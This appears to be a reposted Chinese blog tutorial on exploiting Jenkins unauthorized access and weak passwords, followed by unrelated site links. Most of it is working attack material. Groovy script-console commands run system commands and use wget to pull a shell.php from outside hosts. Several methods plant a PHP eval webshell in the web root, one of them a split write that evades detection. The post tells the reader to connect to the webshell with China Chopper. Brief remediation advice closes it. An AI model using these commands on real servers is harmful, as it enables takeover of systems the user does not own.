jenkins未授权访问/弱口令漏洞

摘要:
漏洞描述默认情况下,Jenkins面板中的用户可以选择执行脚本界面来操作一些系统级命令。攻击者可以在未经授权的情况下访问该漏洞,或在脚本执行界面中强行破解用户密码,从而获得服务器权限。漏洞修复1.禁止将Jenkins直接暴露于公共网络2.添加身份验证,设置强密码复杂性和帐户锁定。

昨天晚上面试官问到了,还没来得及看,今天又问到了,猝不及防,蓝瘦,香菇、、、

今天特此总结一下,给自己一个交代。

总述:进入后台可进行如下操作:

直接执行系统命令:

println "cmd".execute().text

wget下载文件getshell:

println "wget http://xxxx/tools/shell.php -P /tmp/".execute().text 

创建文件getshell:

new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');

Terminal Plugin插件直接执行命令

安装Terminal Plugin插件即可。

漏洞描述

默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。

漏洞危害

Jenkins未授权访问可执行命令,可反弹shell等等

漏洞利用

登录/弱口令登录
http://url:8080/manage
http://url:8080/script

登录界面:

jenkins未授权访问/弱口令漏洞第1张

选择“系统管理”

jenkins未授权访问/弱口令漏洞第2张

登陆后,选择脚本命令执行:

jenkins未授权访问/弱口令漏洞第3张

命令执行:
println "ifconfig -a".execute().text
println "wget http://xxxx/tools/shell.php -P /tmp/".execute().text   
获得shell

利用”脚本命令行” 写入webshell,内容如下:

new File("/var/www/html/media.php").write('<?php @eval($_POST[cmd]);?>');

其他写shell方法:

① wget写webshell
println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/media.php".execute().text

②
new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');

③
def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/media.php").write("$webshell");

④追加法写webshell
def execute(cmd) {
def proc =  cmd.execute()
proc.waitFor()
}

execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )

//参数-n 不要在最后自动换行

jenkins未授权访问/弱口令漏洞第4张

点击“运行”,没有报错,上传成功

菜刀连接即可。

jenkins未授权访问/弱口令漏洞第5张

Terminal Plugin

可以搜索安装Terminal Plugin,执行命令。

jenkins未授权访问/弱口令漏洞第6张

jenkins未授权访问/弱口令漏洞第7张

漏洞修复

  • 1、禁止把Jenkins直接暴露在公网
  • 2、添加认证,设置强密码复杂度及账号锁定。

免责声明:文章转载自《jenkins未授权访问/弱口令漏洞》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Linux 回收站NetMQ使用——请求响应模式 Request-Reply下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

vscode 的使用笔记

1.使用vscode 的终端命令 ctrl + ~  打开 vs 的终端 这是使用windows 自带的shell终端, 使用git.bash的shell  在设置里面,找到 terminal.integrated.commandsToSkipShell 配置成自己的 git bash 编辑setting.json,粘贴代码段: { "ter...

shell export 作用转载

shell 与 export命令用户登录到Linux系统后,系统将启动一个用户shell。在这个shell中,可以使用shell命令 或声明变量,也可以创建并运行shell脚本程序。运行shell脚本程序时,系统将创建一个子shell。 此时,系统中将有两个shell,一个是登录时系统启动的shell,另一个是系统为运行脚本程序创建 的shell。当一个...

Jenkins+Jdk+Git+Maven持续集成部署Weblogic实例项目

通过Jenkins部署Weblogic项目前,服务器需要提前安装好Weblogic服务,Weblogic服务搭建请百度或者在博客园搜索我的帖子“Weblogic服务搭建” 登录Jenkins http://IP或域名:8080 先构建一个“Build项目” 左侧导航栏,选择“新建任务”,然后输入一个任务名称,自定义,选择第二项“构建一个maven项目”,点...

Jenkins 获取 Git 的提交记录(Change Log)

工作中用 Jenkins 做 iOS 和 Android 的持续集成,之前实现的是当 git 有新代码提交的时候,就会自动编译并上传安装包到蒲公英,然后自动发送QQ群通知或者讨论组通知给相关小伙伴,方便其他小伙伴直接下载测试。但也有一点不方便的是,其他人下载还不能明确的知道这一版更新了什么。考虑到因为每次 git 的代码提交会说明这次提交修改了什么,所以...

怎样在 Firefox 中打开 QQ 链接和邮箱

转贴自  猫言猫语 虽然现在很喜欢用小巧、简洁的 Gtalk,但是 QQ 的群众基础还是太深厚了,几乎所有的同学朋友都是人手至少一个,而且 QQ 还有一些 Gtalk 没有的功能(发图、传文件等),所以 QQ 目前还是我用的最多的即时通讯软件。 如果你也在用 QQ ,而且也是 Firefox 的忠实用户的话,你有没有遇到过这样的问题:朋友通过 QQ 发来的...

Windows服务器实现自动化部署-Jenkins

在引入自动化部署工具的时候,对比了jenkins和gitlab CI,jenkins有非常丰富的插件,配置起来方便。gitlab CI更倾向于脚本配置,当然jenkins也可以使用pipeline实现全脚本化配置。我们这里主要讲述jenkins的自动化部署。基本组合是jenkins+git+msbuild,实现从代码仓库拉取、编译、打包、部署、自动化测试。...